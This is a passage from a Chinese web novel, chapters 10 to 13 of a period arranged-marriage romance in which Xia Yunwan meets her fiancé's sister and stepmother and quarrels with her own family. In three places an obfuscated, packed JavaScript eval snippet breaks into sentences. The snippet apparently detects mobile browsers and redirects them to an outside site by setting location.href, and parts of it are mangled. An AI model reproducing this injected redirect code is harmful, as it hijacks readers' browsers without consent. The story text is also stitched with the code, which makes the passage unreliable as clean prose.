入夜熄了灯，夏念金躺在夏云婉身边，弓着身子，声音有些哽咽。 “那你记得出门的时候偷个饭碗，这样好歹还能找人施口饭吃，不至于饿死。” 夏念金：“……有你这么说话的吗？” “我说的实话。”夏云婉看了眼窗沿处透进来的月光：“没本事自力更生，就得保证自己先好好活着，你现在赌气出去，家里少了个孩子，宝金日子更自在了，什么好吃好喝的翻一倍。” “……” 虽然不想承认，但夏念金很清楚，二姐说的这些都是实话。 实话难听，但有用。 被扎心的夏念金抹抹眼泪，散了离家出走的心。 “二姐，跟你结婚那个男的你了解吗？会不会跟咱爸一样啊，要是这样，你是不是还得回来？” “我不知道，但他是个军人，思想上接受过教育，应该不至于跟咱爸那样。” “你知道长什么样吗？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923885|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道。” 盲婚哑嫁，这样的婚姻形式在这个年代也只是略有好转。 “要是我以后结婚……” 夏念金絮絮叨叨说了很多，等反应过来的时候，才发觉原来二姐已经睡了过去。 二姐真的变了。 要是以前，二姐遇到事儿夜里只会哭得比她更厉害，还经常辗转反侧，整宿整宿的睡不着。 但这样的改变，对二姐来说似乎是好事儿呢。 - 六月的海风是从东南方向刮过来的。 白天带着黏腻的咸盐味儿，晚上泛起凉意，夹杂着水汽，把人身上的潮湿吹散许多。 “陆团，有你的电话，家里的。” 岛上通讯困难，内外电话都打的少，除非是家里紧急情况，不然都会提前备注不予接通。 陆霖川嗯了一声，将手里的电缆塞给旁边的战士，迈着大步去了营部的通讯室。 “诶呦——” 接过电缆的战士胳膊一沉，稳了稳身形才站稳。 他忍不住回头侧目，嘴里念念有词：“陆团力气可真大……” “老陆家里来的电话？” 115团的沈参谋打着灯，帮战士一块儿整理电缆，一边问。 “应该是，我也是传话的，不会是陆团家里有什么急事儿吧？” 沈参谋迟疑片刻，笑着摇头：“八成还是上次相亲那事儿，老陆也老大不小了，我都替他着急，组织上也催了几次，他是半点不上心。” “我们陆团那是一心扑在部队上，不过……唉，陆团这岁数家里平白多了一大一小两个拖油瓶，给他说亲，谁家都得斟酌斟酌。” “行了，干你的活儿去！” 陆霖川自然没听见这些，他熟练的穿过山崖上的小路，眼瞧要到营部了，干脆抄近路翻身越过了才建一半的砖墙，稳稳落到了地上。 “虽然天黑着，我一猜就是你，陆霖川……” “墙才建一半，我这不算违反纪律，走了。” “诶，你这人。” 不过话是这样，通讯老班长也还是略带关心的看了眼陆霖川矫健挺拔的背影。 “霖川，是我。” “大姐。” 陆霖川语气淡淡：“有事儿？” 陆楠语气中压着笑意，“还是上次跟你提的那桩娃娃亲，夏家回信了，明儿我就跟妈一块儿去接人，这事儿是老一辈儿定下来的，爷爷说没有你同不同意的份儿，你上次反驳的话无效。” “……” 片刻后，陆霖川才深吸一口：“我不见，你们别费功夫了。” “回头我把人亲自给你送去，你不见也得见。” “送过来我也能送回去，大姐，我说话向来算数，说到做到，你们……” “滋啦——滋滋——” “霖川，你说什么？” “我说……” “滋啦滋啦——滋啦——” 外头突然刮了大风，信号不稳，两边说话听起来都断断续续的。 陆霖川绷着脸，等稍微好转，这才耐着脾气继续：“我说来了也给送走，还有，我明天要出任务，你上岛也见不着我……” “滋啦——” 陆楠：“我知道了霖川，你出任务几天呀，等任务结束我们再过去，爷爷就在我旁边，他老人家脾气你知道，爷爷说这是信誉问题，不能食言，人要讲诚……” 那边话没说完，电话里“哒！”的一声，信号彻底中断。 陆霖川：“……” “陆团，今天夜里这风一时半会儿停不了，要不您明儿个再来？” 陆霖川搁下听筒：“明儿有任务，不来了。” “那您留个话，等信号恢复，万一那边再联系了我们帮您传达。” 陆霖川皱起眉，想了想，“再来电就说我不在。” “诶，知道了。” 11. 第 11 章 从营区出来，陆霖川回了趟家。 多年前武滨岛发现一处高纯度的石英海砂，之后才由政府引头牵线，军队驻扎，号召边省搬迁至此进行开发。 经过十几年的建设发展，岛上一应设施还算齐备，除了居民住所，另外还有两处驻地军属区。 东部临山是老军属区，陆霖川五年前刚来的时候就住了过去，虽然比不上西边的新军属区，但他习惯了这边有山有水的环境，也没想着搬走。 只是如今…… 海风一起，一时半会儿是停不下来的，门外围着的篱笆被吹的沙沙作响，好在房子建的牢固，门窗也都严实。 但到底是老建筑了，一旦有风雨，免不得各处动静都大一些。 陆霖川推开篱笆，找出钥匙拧了门锁。 夜半早已熄灯，但听见门外的动静，里头一大一小同时从里屋走了出来。 高一点的男孩儿是陆浩然，小一点的才五岁，是他亲妹妹陆悦。 陆霖川点燃煤油灯，才要说话，对面看清楚人后的陆浩然抿了抿嘴，低头扭身回屋，门被紧紧关了起来。 男孩儿没礼貌的行为让陆霖川眉头皱了起来。 刚想要厉声说什么，看了眼时间后，并未此刻跟他计较这些。 陆悦小小的身影明显犹豫一下，看看旁边哥哥的房门，又看看陆霖川，手指扣着衣摆走了过来。 “爸，我们都以为你今天不回来了。” “明天要出任务，所以回来跟你俩说一声，我不在家，让浩然去营区食堂给你带饭，有事儿了就去找隔壁刘阿婆，知道了吗。” “嗯。”陆悦小声应了，眨眨眼，半天也不知道说什么，随后干脆缩了缩脖子，“那我进屋睡觉了。” “去吧。” 小身影也进了屋。 但进屋之前，不知道为什么回头又多看了一眼陆霖川，只是那双小手在衣摆上捏了又捏，指尖都有些发白了，嘴里那句话愣是最后也没敢说出口。 直到进了屋里，陆悦扑到床上，然后把自己脑袋埋到了被窝里，努力的试图用被子将自己全部包裹进去。 陆霖川确实也只是回来一趟。 等家里彻底安静后，他在客厅留下一笔钱，这才拿了件长袖的军装离开。 “咚咚咚——” “谁呀？” “是我，陆霖川。” 刘阿婆打开门，风瞬间吹到了屋子里，纵使在夏天，她还是冷的打了个喷嚏。 “咋了霖川？” “我要出任务，三天回，家里俩孩子，劳您操心多看一眼，多谢了。” 刘阿婆笑呵呵点头：“平时我也没别的事儿，一个孩子也是看，三个孩子也是赶，你放心出任务。” “诶。” 说罢陆霖川就要走，刘阿婆忍不住多问了一嘴：“家里也没想着给你找个对象？总是这样，俩孩子也没人照顾，你自己也是，连个心疼你的都没有。” “不想找，拖累别人。” “这话说的，你高低也是个副团级，咋就……” “阿婆我还有任务，回来再谢您。” 刘阿婆再想开口，人已顶风匆匆离去。 - 翌日。 夏家这边虽说已经答应了彩礼全归夏云婉，但到底陆家那边条件比夏家好上太多，将来双方结了亲，夏家有个什么事儿，说不定就得麻烦陆家帮忙。 因此夏贵仓虽对夏云婉有意见，可今天陆家人要过来，他还是请了假专程在家等着见面。 夏云朵今儿比夏云婉都要精神，一大早穿戴整齐，一副坐等看好戏的样子。 上一世那个恶婆婆今儿头次见面就给了个没脸，现在轮到夏云婉了，她怎么也得跟着瞧瞧热闹才行。 “毛纺厂家属院夏贵仓家在这儿吗？” 才过九点，夏云婉坐在屋里就听有人在外面打听。 “在。” 张艳红头一个站起来，随后夏家都跟着出门迎接。 意外的是，来人只有一个。 陆楠拎着些水果点心，左右看了一圈，最后将目光定在了夏贵仓夫妻俩身上，余光又无意识的朝着后面掠了一眼。 夏家居然有两个闺女。 信上倒是没听说。 不过左边白净一些的瞧着更漂亮些，右边这个眼神怪怪的……怎么好像自己欠了她钱一样？ 神经。 信上说的闺女可千万别是右边这个。 陆楠心里想着，下一秒，看见更白净的那个被张艳红推到了前面，这才心里暗暗松了口气，笑盈盈的拉住了夏云婉的手。 “我听爷爷说，夏爷爷以前年轻时候可是个排场的人，夏爷爷的孙女儿，果然也不会差，云婉妹子，你以后喊我大姐就行了。” 娃娃亲，说死了的事情，就差个结婚证了。 夏云婉也不跟她扭捏，大大方方喊了声姐。 陆楠立刻高兴地笑起来，“张姨，这丫头性格对我胃口，我一瞧就知道将来准能跟我们家霖川过好日子。” 夏云朵在后面翻了个白眼，现在夏云婉挺得意，就陆霖川那狗脾气，等见了面，她指不定天天夜里趴被窝里哭。 客套几句后，两家步入正题。 “来时为了省时间早点到，我跟我妈坐船过的河，平时没啥事儿，今儿我妈突然有些晕船，这不眼瞧也要吃个中午饭，她就自己先去招待所休息，顺便去国营饭店定个位置，等会儿咱一块儿过去再见面，您两位不会介意吧。” “不会不会。”张艳红笑着道，“做了亲家，当然要互相理解。” “是这个理。” 陆楠说着，又看向夏云婉，“陆霖川的工作性质跟普通人不一样，他常年待在武滨岛上，就是家里人想要见上一面，通常也都是我上岛去找他，要不这次来，我一准把他给带上。” 夏云朵左等右等，眼瞧着一团和气，自己有些坐不住了。 张艳红上一世可不是这态度，可仔细一想也能明白，毕竟这一世要攀高枝儿的是她亲生女儿，她肯定要更谨慎些才是。 想了想，夏云朵勾起嘴角，凉凉开口：“陆楠姐，陆团长工作忙架子大，相亲都不见人，这以后要是结了婚，岂不是更看不见人了？我妹子不会年纪轻轻要守活寡吧……” 这话原是张艳红说过的，夏云朵又进行了一些加工，听起来更加气人了。 陆楠脸色果然立刻沉了下来。 她脾气直来直去，但今儿毕竟头一次见面，忍了一手，心里却仍旧堵得慌。 “夏云朵，你也太没思想觉悟了。”夏云婉自然明白了夏云朵要看的好戏是什么，她皱了皱眉，看起来反而比陆楠还要生气。 “一来这本就是定好的娃娃亲，见面是肯定要见的，谁去见谁都没区别，二来陆霖川同志是军人，他在海岛上不止是工作，还是在守卫国家跟人民的安全，我知道了他的身份，自然会理解他，这是身为家属最起码的思想觉悟，如果我连这一点都想不明白，也不会同意爸跟陆家那边联系！” “说得好。”陆楠眼睛亮了起来，“云婉，就冲你这番话，我也得先替我弟弟跟你说声谢谢，谢谢理解。” 夏云婉摇头，一脸认真：“姐，谢字我不敢当，反倒我感觉咱们老百姓应该要谢谢像陆霖川这样守卫祖国海防工作的同志们。” 夏云朵挑唆失败，在旁边看着夏云婉跟陆楠关系拉近，气得心口堵得慌。 什么叫她不会同意爸跟陆家联系，那明明一开始是她夏云朵让爸跟那边联系的好不好！ 还什么思想觉悟，等以后见识到陆霖川的冷漠，你就不觉悟了！ 除了夏云朵中间打了个岔，之后的聊天都很顺利。 也不知道是陆楠临时起意还是提前准备好的，除了余下的彩礼钱以外，她自己还多给了夏云婉十八块的见面礼。 一来一回，夏云婉反而有些不好意思。 不过她对这个大姑子爽利的性格是真的喜欢，有事儿直来直去，说话也很实在，有这样的大姑子，婆家按理来说也不能像书中夏云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923886|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵说得那样可怕吧。 眼瞧到了中午，夏家人跟陆楠一块儿去往国营饭店。 郭玉芬果然提前在门口等着了，瞧人过来，跟张艳红夫妻俩寒暄了两句，这才看向夏云婉。 说起来，陆家的情况其实有些复杂。 陆老爷子陆丰收唯一的独子陆建安早年参军，在部队里干后勤，后来结识了陆霖川的母亲，剩下了陆楠跟陆霖川。 只是战乱中，陆霖川的母亲似乎是去世了，也可能是失踪了，总之在原书夏云朵的回忆中，后来陆建安又娶了第二个老婆，也就是眼前的郭玉芬，等建国后，他才把陆霖川从爷爷身边接到了城里。 彼时陆建安似乎也犯了什么错误，被部队后勤部移除档案后，出来在国营饭店干起了大厨，后来郭玉芬还另外给他生了个小儿子，日子过的倒也挺自在。 郭玉芬虽然是后妈，但陆建安对儿子一直都还不错，总不至于刚见面就为难自己这个儿媳妇儿吧。 夏云婉的新衣服还没做出来，但原身唯一体面一些的白色衬衣被她洗的很干净，简单的衣服，天然去雕琢，反而把她身上青春明媚的气息衬托得更加明显。 郭玉芬左右看了看，目光落在了夏云婉身上，“啧，我一瞧就知道，这里头最漂亮的就是我未来儿媳妇儿。” 夏云婉：“……” 夏云朵：“……” 看着夏云朵铁青的脸色，夏云婉忍了半天才没笑出来。 这婆婆说话，怎么听起来比大姑子还要实在。 又或者说，郭玉芬说话实在是不动什么脑子，夏家仨闺女一块儿过来，就算夏念金还小，可郭玉芬一个‘最’字，至少得罪了三个人。 夏云婉：“阿姨，您看起来也比我想的要年轻许多。” 郭玉芬笑笑：“能不年轻嘛，我这跟你叔是二婚，他大我十来岁呢。” 夏云婉：“……” 这话说的。 “咳咳咳。”夏云婉努力的往回圆：“但我看您保养的也很好，这不嘛，看手看气色就能看出来，像您这个岁数保养这么好，叔叔对您肯定很照顾。” 说到这里，郭玉芬明显比刚才来了几分精神。 “你叔对我确实挺好的，我们俩这些年感情一直都不错，家里做饭都是他来……” 似乎郭玉芬也意识到说多跑题了，连忙又往回拉，可聊着聊着，话题又不自觉的往陆建安身上转。 有那么一瞬间，夏云婉总觉得跟郭玉芬说话，有种跟当年听恋爱脑闺蜜聊她那个河童男朋友的既视感…… 一顿饭下来，除了婚事，夏云婉反倒是把郭玉芬跟陆建安感情之路弄得明明白白。 吃完了饭，陆楠拉着夏云婉说悄悄话。 “云婉，你习惯就好了，我妈这人没什么心眼，也是有话直说，不过就是太直了些，以后相处的时候要有什么的，你别介意，不过她脑子里都是我爸。” 夏云婉嗯了一声，“这倒是看出来了。” “行了，结完账了。” 郭玉芬拎着手提包走出来，笑盈盈看向夏云婉，“我晕船了还有些难受，下午再补个觉，毕竟要结婚了，让陆楠等会儿带你去再买身衣裳。” 夏云婉连忙摆手：“我已经做了新衣服了，明天就能拿到。” “那就看看别的，买身裙子吧，等上了岛，再想做衣服就难了，咱们家条件好一些，但也不是富得流油，我这儿就一张工业票，你看着买。” 眼瞧着工业票到了夏云婉手里，夏云朵本来就恼火，现在更是嫉妒的发疯。 郭玉芬这个死老太婆，两辈子了还要这么气自己！ 当初郭玉芬如果不是头次见面就说她打扮太土，她至于后面跟她那么吵嘛？！ 凭什么？ 她跟夏云婉也没有什么不一样吧？！ “大姐，你抽筋儿啦？”夏念金幽幽的在旁边问，“手怎么抖的跟簸箕一样啊？” 夏云朵这才回过神，恨恨瞪了一眼已经跟着陆楠走远的夏云婉，哼了一声转身回了家。 12. 第 12 章 陆楠是个非常好的逛街聊天对象，至少，聊陆家事情的时候是这样的。 陆家住在河岩市东市区前军属区的独栋小楼里，当年陆建安从部队转业出来，恰好碰上部队改制，这栋小楼，也就被陆建安给买了下来。 彼时是1960年，陆家才接了已经十六岁的陆霖川到市里住。 之前，陆霖川一直跟着爷爷在乡下。 “父子俩有点小误会，关系僵一些，不过我爸还是很疼霖川的，这些跟你都没关系，你好好跟霖川相处，家里的事儿不用操心。” “嗯，我明白了。” 说是逛街，其实也不过就是西市区这边唯一的两间供销社，一处成衣店。 有了工业票，夏云婉在成衣店里顺利买到了一件的确良料子的半身裙，海军蓝的颜色，正好配她身上那件白衬衣。 “还少一双鞋子。”夏云婉打量着镜子里的自己，有些遗憾的看了眼脚下，情不自禁小声的道。 打扮欲分享欲，有这些才能有人生鲜活的感觉。 她喜欢打扮自己，穿衣服可以不那么华丽，但很讲究协调性。 这一身搭着破旧的老布鞋，看起来确实少了些什么。 “少什么？”帮夏云婉拿衣服的陆楠走过来。 “没什么。” 陆楠很好，但夏云婉不想麻烦她。 “是不是逛久了有些饿？”陆楠打量着夏云婉，“你太瘦了，得多补补，我看中午那份绿豆糕你吃了不少，走，我再给你给打包一份再送你回去。” “不用，已经很麻烦你了。” “说这话，以后都是一家人。” 陆楠很喜欢夏云婉，就冲着上午她那番话，陆楠就觉得夏云婉这孩子性格思想都十分的优秀。 “我记得你才十九吧。”陆楠问。 夏云婉其实在现代已经二十三了，但她还是心虚着点了头。 陆楠眼神越发多了几分怜爱，“这年纪，也就比我闺女大十岁，你在我眼里就跟个孩子差不多，我现在多看两眼，反而还觉得我家霖川那糙里糙气的配不上你了。” 这话只能陆楠这个大姑子来说，夏云婉可不会傻着去附和。 但夏云婉想了想，借着话头，好奇问道：“陆霖川同志是个……糙汉子？” “噗嗤”一声，陆楠笑了出来。 “说他糙，倒也不至于那么糙，可毕竟他出自部队，平时说话办事儿肯定比不得学校里出来的那些男孩儿……瞧我这个脑子！我都差点忘了妈把照片给我了。” 说着，陆楠慌里慌张从兜里翻了翻，然后庆幸的松了口气：“幸亏没弄丢，诺，你瞧瞧，这是霖川照片，也算得上眉清目秀。” 夏云婉接了过来。 啧，这把赌的不亏。 照片里的男人何止眉清目秀，他轮廓流畅清晰，五官端正锋利，应该是几年前的旧照片了，眉宇间稍显青涩，但眼神锐利，气质冷冽。 真帅啊。 搁到现代，也是能拍电影的级别吧。 就冲着这个颜值，至少以后真结婚了，还能有个养眼的好处呢，不至于天天看着个河童心里膈应。 “这是霖川四年前参加完保卫战才回来照的，跟现在比，年轻一些，不过他现在也不算老。” “嗯，二十七岁，正当年呢。” 闻言，陆楠抿嘴笑了笑。 看来自己这个弟妹是对霖川的长相很满意。 …… 夏云婉客气了好几次，还是拗不过陆楠，拉着她愣是又去国营饭店买了一份绿豆糕，一份干蒸烧卖打包带回去。 “咱家说不上什么大富大贵，但总不至于让孩子饿着，拿回家去吃，明儿上午我来接你。” 到了家属院门口，陆楠叮嘱道。 夏云婉：“明天十点走可以吗，早上我要去办件事儿。” “行，我等会儿去买票。” 从西城到东城，坐船半小时，公交车票一小时，得提前预定才行。 “什么东西这么香？” 夏云婉还没进门，闻见味儿的夏宝金就跟狗一样嗅着鼻子跑了出来，等发现香味儿来源后，有馋虫儿勾着，也不管别的了，冲到夏云婉身边就要抢她手里的东西。 陆楠皱了皱眉，伸手抵住了夏宝金的额头，“你这弟弟……” 夏云婉也不瞒着，指了指屋里，“我爸妈惯的，他俩就疼这个儿子，今儿吃饭没闹都算表现良好了。” 都是女儿，就算陆家重男轻女不是那么明显，可别人家的事儿也看过太多。 陆楠瞬间明白了过来，也不再客气，用了点力气把夏宝金戳远了一些。 “没事儿，我都习惯了，姐你去吧，别耽误正事儿。”夏云婉淡淡说完，凉飕飕的瞥了眼夏宝金。 夏宝金想起前几天吃亏的场景，略有些害怕的缩了缩脖子。 陆楠看出其中一些猫腻，放心的笑出来，“瞧你说话斯文，原来也有脾气，有脾气好，有脾气不会被欺负，你别吃亏就行，有事儿以后我给你撑腰。” 她自然有脾气，但也是分人的，别招惹她，那一切都好说，招惹了，她也不客气。 等陆楠走后，夏云婉看也没再看旁边的夏宝金，拎着点心从他面前走过。 烧麦的香味儿在空气中燃烧，像是火焰，钻到夏宝金的鼻子里。 好香啊，肉香，还有油香。 今天中午他已经跟着吃了很多从前没吃过的好东西了，原来还有比那些更香的。 家里的烧麦最多就是放点油渣，这里头肯定裹满了厚实的肉馅。 夏宝金吸溜了一口嘴角的哈喇子，最后用手抿了抿，转头炮弹一样朝着夏云婉冲了过去。 他抢过来躲到屋里都给夏云婉吃完！！一个也不给夏云婉留！！ 夏云婉本就防着他，但这回夏宝金真是馋成恶鬼了，速度又快力度又大，撞了一下夏云婉的胳膊后，手里的油纸包也被夏宝金给撞开了。 里面另外有包装，掉在了地上。 夏宝金蹲下去就要捡，夏云婉皱皱眉，稍微用劲儿就把这死孩子给推到了旁边。 没办法，这孩子就算是翻了天，也还是八岁，跟大人力气没法儿比。 夏宝金一屁股倒在了地上，眼瞧着烧麦要被夏云婉捡走，自己还要被夏云婉嘲笑，再想起昨天也是因为夏云婉，自己屁股挨了打，一怒之下，破罐破摔一样冲过去，朝着地上掉的两块绿豆糕就踩了下去。 “我让你不给我吃！！我让你不给我吃，都别吃了！！我踩死你！！” “坏人去死吧！！” “踩死你！！” 这动静闹的家属院里又有不少人围了上来。 郭大娘看着地上的绿豆糕直心疼：“糟践粮食啊！！诶呦老天啊，灶王爷保佑，这是夏宝金干的，可别报应到我家的身上，灶王爷保佑……” 夏云婉捡的及时，地上拢共也就落了两块绿豆糕，可就算这样，她也心疼的不得了。 夏家人也知道了夏云婉现在的厉害，眼瞧她脸色不对可能要打人，张艳红先一步冲过来挡在了夏宝金面前。 “老夏，看看你儿子干的好事儿，丢人现眼的，赶紧把宝金带进去。” 夏贵仓皱着眉走出来，拉扯着哭闹的夏宝金往屋里去。 “我要吃绿豆糕跟烧麦，呜呜呜你们现在都变了，二姐是坏人，你们不管我了，只管二姐了，呜呜呜……” “小王八蛋。”夏云婉骂了一声，立刻就被张艳红拉住了胳膊。 “行了云婉，弟弟吃个烧麦你都抠抠搜搜的，咱家现在都以你为先，你还不知足啊，真是太自私了！” 张艳红三两句话间，把矛盾引导到了夏云婉自私上。 好像夏宝金才是那个被姐姐欺负，连口饭都吃不了的受害者。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923887|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “就算平时我们偏心了些，但这些天已经好很多了，你怎么连一点吃的都这么抠门，你让大家伙儿评评理，让……” “妈。”夏云婉深吸一口气，冷静打断了张艳红的话，“我好像从进门开始，都没说过不让夏宝金吃烧麦吧。” 张艳红一愣，声音戛然而止，“啊？你没说过那宝金闹什么？” “他跟抽风了一样，看见我就冲过去抢我手里的吃的，我当然不高兴啊，你想吃你可以跟我说，本来我就是想拿回家分一分的，现在直接动手抢，跟土匪有什么区别，他不尊重我，我当然不会再给他任何吃的！” “云婉说得没错，我看见了，就是夏宝金先抢的东西。” “夏宝金的德行大家伙儿又不是不知道，张艳红，你这个当妈的装什么傻呢？” “就是……” 张艳红脸色有些尴尬，她清了清嗓子，转而笑道：“那是我误会了，云婉咱进去了，宝金都哭成什么样了，拿点东西我进去哄哄他，别总叫外人看笑话。” “哼，让人看笑话的本来就是夏宝金不是我，现在我也不可能分给他吃的了，而且……” 夏云婉有些心痛的看了眼地上被踩成碎末末的绿豆糕。 “妈，夏宝金都被你们惯成这个样子了，你听见他刚说什么了吗？他一口一个踩死什么的话，都这样了，你们还不知道教育教育他吗？” 顺着夏云婉的话，院子里不少人也附和了几句。 张艳红面子上挂不住，剜了一眼夏云婉，“家里也不是买不起你那点东西，爱分不分，回头我们也能自己买，我进屋了，你继续留着丢人现眼吧！” 夏云婉心里再次冷了下来。 夏宝金这孩子，不真给点教训，是永远都不知道什么叫做厉害的。 你们不教育，那现在招惹了我，我替你们教育。 夏云婉又看了一眼绿豆糕，找出扫帚把院子里给打扫干净，又去拿了自己做的新衣裳，这才进了家门。 吃过晚饭。 夏贵仓难得的端起茶杯，打起圆场，“行了，要我说今天是云婉在家里住的最后一天，往后嫁出去，就是人家陆家的人了，以后再回来，她也算咱们家的客人，以前家里的那些事儿今天都一笔勾销。” “爸，你意思是结婚了这里就不是我家了？”夏云婉冷笑了一声。 夏贵仓起身，亲自给夏云婉倒了杯茶，“记清楚了，这里往后是你娘家，你娘的家，自然不是你的家，你的家以后姓陆，明白了吗？” 他说的那么理所当然，夏云婉差点以为夏贵仓是什么讲台上讲着科学知识的教授。 “妈，你也这么觉得？”夏云婉又问。 张艳红冷着脸，“你爸说的没错，不过我现在也不敢管你了，你是我肚子里出来的，现在反倒天天跟我唱反调，我这心早就被你气凉了。” 夏贵仓继续打圆场：“行了行了，以后都不提那么事儿了，来一起举个杯，往事一笔勾销，咱们将来指不定还有求着人陆家的时候呢。” 这一次，夏云婉没有反驳任何人，她站起来喝了那杯茶，看着夏贵仓满意的笑出来，随后默默进了卧室。 “二姐，你那烧麦能给我吃口不？” 入夜，夏念金进门就找夏云婉要吃的，礼貌小心，吸溜着口水。 “给你吃一个。” “哦，那剩下的呢？” “剩下给夏宝金。” “……啥？” 夏念金狠狠咬了一口烧麦，吸溜着里头的一丝丝汤汁儿，香的她都快幸福昏过去了，差点以为夏云婉这话是自己出现的幻觉。 “念金，你想不想以后在家里都看不见夏宝金，想的话就去帮我放到堂屋那个咱妈经常放玉米面的筐子下面去。” 说罢，夏云婉把油纸包递了过去。 舍不得烧麦套不到夏宝金，这次非给他个教训不行。 13. 第 13 章 第二天，夏云婉起的很早。 又是一个周末，夏念金本来还想赖在床上久一点，但看夏云婉起了，揉揉眼睛，也跟着爬了起来。 “才五点半，二姐。”夏念金看见夏云婉在仔细的收拾东西。 属于原身的东西并不多，衣服一年四季拢共就那几件，还有许多是缝了补丁的，这些夏云婉不想穿，另外有一些粗麻布的，她干脆给夏念金留了下来。 整个夏家，她也就对夏念金有些好感了。 收拾到最后，拢共也就一个帆布包的东西。 “夏念金，我要跟夏云朵一起去找主任签字，很快回来，要是看见夏宝金出门，你记得随便找点事儿拦着他。” 夏云婉叮嘱完，临走前又回头：“想以后日子舒服点，咱们昨晚上干的事儿就别乱说话。” “当然。”夏念金伸了个懒腰，看向二姐的眼神头一次露出了一丝崇拜：“我又不是傻子，二姐我在家里等你回来。” “嗯。” 煤矿厂里日常是有人值班的，夏云婉跟夏云朵到了以后，找到人事科做了档案交接。 “真是便宜你了。” 从办公楼出来的路上，夏云朵看着自己领到手的工牌胸针阴阳怪气。 “要不是我，这种人家怎么可能看上你。”工位到手，事情尘埃落定，夏云朵心里松了口气，难免说话开始没了顾忌。 现在哪怕是夏云婉跟陆家挑明了自己是替婚，她也不怕了。 反正事已至此，夏云婉的婚事可以取消，但工位只要自己不同意，总不能逼着自己再去签字换人。 夏云婉也察觉到了，但她心态却很平稳，“你这话说得好像人家瞧上你似的，本来就是娃娃亲，盲婚哑嫁，谁知道谁去，一天天的少给自己脸上贴金。” 夏云朵哼了一声，“到现在了我也不怕告诉你，夏云婉，你不会真以为这婚事是什么天上掉下来的馅饼吧，如果真那么好，我怎么还巴巴找你换？其实我是……” “是什么？” “咳咳！我是觉得去陆家算是远嫁！我才不会冒险远嫁，留在爸妈身边挺好的。” “那也得看爸妈是谁。”夏云婉看过去的眼神带着嘲讽，“要是爸妈抠门偏心，还不如离远点的好，现在是现在，等将来夏宝金大了，你觉得他俩会不找你帮忙？” “……” 八成要找。 不过那时候她已经跟着顾朝阳过上好日子了，随便施舍给娘家一些就够他们感恩戴德的了！ 夏云朵：“你以为公婆就好对付？以后有你好受的，别忘了，你那个婆婆可是后婆婆，出来一趟还这么娇气，等你过了门，你就得伺候他们一大家子！” 夏云朵对这个婆婆的态度，夏云婉始终很是莫名。 郭玉芬是个说话直来直去的，但瞧着为人并不刻薄。 夏云婉：“我觉得累我可以有话直说不去做，谁还能逼着我干活儿？” 这话有些扎心，夏云朵当初觉得郭玉芬看不起自己说自己土，就逞强说自己家里家外一把抓，做饭赶得上大厨，结果郭玉芬还真就信了，让她待在夏家做了一个多月的饭。夏家三口子人外加偶尔来的大姑子二弟妹，还有一堆卫生要收拾，她上岛之前，天天都累得腰酸背痛，关键也没人夸她一句做饭好吃的…… “懒得跟你说那么多，我……” “云婉？！” 眼瞧着也快七点了，住在厂里员工宿舍的工人陆陆续续出来。 顾朝阳才刚下楼，一眼就看见了笼罩在晨曦下的夏云婉。 她今天穿的是找人做的新衣服，白底碎花圆领的衬衣，配了黑色直筒裤，有些留长的刘海已经被梳起来了大半，只有散碎一些挂在耳边。 微风拂过夏云婉的碎发，也拂过她的眼睫，晨曦落下，她有种跟旁人不同的干净明媚。 这样的女同志，说起话来一定也很温柔。 但实则又不然。 顾朝阳冲过去的时候，得到的只是夏云婉一个有些嫌恶的冷眼。 顾朝阳无措的愣了一下，随后继续道：“我才知道你要结婚的事情，云婉，这也太突然了，你不会是被家里强迫的吧。” “不是，而且不管是不是，跟你也没什么关系。” “你怎么这么冷漠，咱俩……咱俩至少还是老乡，是同学呀，云婉，你真的确定要结婚了吗？” “确定了！”夏云朵着急了，横插过来，有些不满的看着顾朝阳，“我那天不是都跟你说了吗，而且她今天就要走，这婚事已经说定了的。” “今天？！” 顾朝阳皱起眉：“去东市区？什么时候？” 夏云婉不想继续跟她们纠缠，转头看向夏云朵：“我还有事儿呢，先回家了，你要是不想走就继续聊吧，再见。” 顾朝阳想起夏云朵那些话，甩开夏云朵，跑了几步追过去，“夏云婉，我就问你一句话，你能不能回答我一下？” “不能。” “你！” 她急着回家，下意识看了眼办公楼外面的摆钟。 二十八号？ 夏云婉正要迈起来的步子迟疑了一下，最终没有抬起来，而是叹了口气，正色看过去。 “你说吧，什么话？” 顾朝阳以为夏云婉心软了，语气好了一些：“你结婚实在是突然，在此之前我都没有听到过什么信儿，我想问你，前些天咱们来往的时候，你是不是已经跟你……你未婚夫那边说好了，跟我来往，是不是只是拿我当备用的对象？” 他问的倒是直白。 这是怕自己被戴绿帽子。 可怜的自尊心。 夏云婉故作愁思，片刻才正色道：“这个问题我暂时没办法回答你，我得想一下才行，这样吧，我十点要走，那会儿你要是有空，去公交站等我一下，到时候我想好了跟你说清楚。” 